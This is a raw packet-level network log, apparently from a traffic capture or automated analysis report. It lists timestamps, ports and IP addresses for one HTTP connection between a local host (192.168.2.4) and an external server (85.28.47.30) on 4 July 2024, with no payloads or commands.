Jul 4, 2024 20:34:04.062552929 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.062563896 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.062576056 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.062577963 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.062601089 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.062619925 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.062628031 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.062630892 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.062642097 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.062657118 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.062669992 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.062686920 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.062689066 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.062701941 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.062714100 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.062715054 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.062745094 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.062748909 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.062758923 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.062768936 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.062772989 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.062777996 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.062792063 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.062827110 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.062907934 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.062918901 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.062928915 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.062942028 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.062947989 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.062974930 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.062999964 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.063021898 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.063031912 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.063039064 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.063077927 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.063091993 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.063101053 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.063112020 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.063121080 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.063128948 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.063141108 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.063149929 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.063159943 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.063160896 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.063193083 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.063210964 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.063211918 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.063220978 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.063230991 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.063256025 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.063282013 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.063395977 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.063406944 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.063416958 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.063426971 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.063436985 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.063441038 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.063452959 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.063465118 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.063467979 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.063488007 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.063518047 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.063529015 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.063539982 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.063549042 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.063560009 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.063570023 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.063571930 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.063580036 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.063590050 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.063600063 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.063601971 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.063610077 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.063632011 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.063637018 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.063647032 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.063651085 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.063657999 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.063678980 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.063698053 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.063715935 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.063728094 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.063738108 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.063747883 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.063760996 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.063772917 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.063776970 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.063783884 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.063807011 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.063816071 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.063827038 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.063827991 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.063865900 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.063895941 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.063909054 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.063920975 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.063930988 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.063941002 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.063947916 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.063951969 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.063982010 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.064003944 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.064028978 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.064039946 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.064054012 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.064064026 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.064074039 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.064079046 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.064084053 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.064104080 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.064115047 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.064124107 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.064125061 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.064151049 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.064184904 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.155491114 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.155559063 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.155721903 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.155767918 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.155793905 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.155805111 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.155816078 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.155826092 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.155837059 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.155842066 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.155879021 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.155906916 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.155916929 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.155926943 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.155936956 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.155946970 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.155956984 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.155981064 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.155992031 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.156059980 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.156071901 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.156081915 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.156090975 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.156100988 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.156100988 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.156117916 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.156120062 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.156128883 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.156138897 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.156148911 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.156171083 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.156187057 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.156202078 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.156212091 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.156220913 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.156232119 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.156241894 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.156244040 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.156251907 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.156263113 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.156272888 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.156274080 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.156294107 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.156312943 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.156359911 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.156374931 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.156384945 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.156395912 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.156403065 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.156405926 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.156415939 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.156425953 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.156430960 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.156436920 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.156452894 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.156497002 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.156522036 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.156533003 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.156541109 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.156564951 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.156569004 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.156579971 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.156589985 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.156590939 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.156600952 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.156621933 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.156636000 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.156724930 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.156734943 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.156745911 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.156754971 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.156765938 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.156766891 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.156775951 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.156785965 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.156795025 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.156796932 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.156825066 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.156837940 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.156893969 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.156904936 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.156913996 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.156927109 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.156932116 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.156938076 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.156954050 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.156984091 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.157048941 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.157059908 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.157068968 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.157078981 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.157088041 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.157093048 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.157098055 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.157108068 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.157115936 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.157118082 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.157129049 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.157130003 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.157139063 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.157150030 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.157165051 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.157171965 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.157181978 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.157190084 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.157192945 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.157212973 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.157218933 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.157233953 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.157238960 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.157263041 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.157286882 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.157305956 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.157318115 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.157326937 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.157347918 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.157349110 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.157357931 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.157370090 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.157382965 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.157399893 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.157424927 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.157450914 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.157461882 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.157470942 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.157480955 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.157490969 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.157497883 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.157509089 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.157520056 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.157521009 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.157529116 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.157538891 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.157538891 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.157552004 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.157563925 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.157566071 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.157577038 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.157597065 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.157607079 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.157630920 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.157634020 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.157671928 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.157730103 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.157741070 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.157749891 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.157759905 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.157769918 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.157774925 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.157779932 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.157802105 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.157816887 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.157869101 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.157879114 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.157887936 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.157897949 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.157907009 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.157912016 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.157917023 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.157931089 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.157934904 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.157946110 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.157954931 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.157963037 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.157964945 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.157974958 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.157980919 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.157984972 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.157994986 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.158001900 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.158004999 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.158019066 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.158036947 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.158056021 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.249485970 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.249537945 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.249548912 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.249569893 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.249589920 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.249697924 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.249708891 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.249718904 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.249728918 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.249742031 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.249746084 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.249757051 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.249759912 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.249767065 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.249777079 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.249785900 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.249788046 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.249803066 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.249813080 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.249819040 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.249821901 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.249835014 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.249849081 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.249866009 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.249897957 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.249952078 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.249962091 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.249973059 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.249982119 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.249991894 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.249999046 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.250003099 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.250017881 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.250025988 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.250029087 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.250040054 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.250045061 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.250062943 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.250088930 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.250113964 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.250124931 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.250157118 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.250161886 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.250174046 CEST	80	49730	85.28.47.30	192.168.2.4
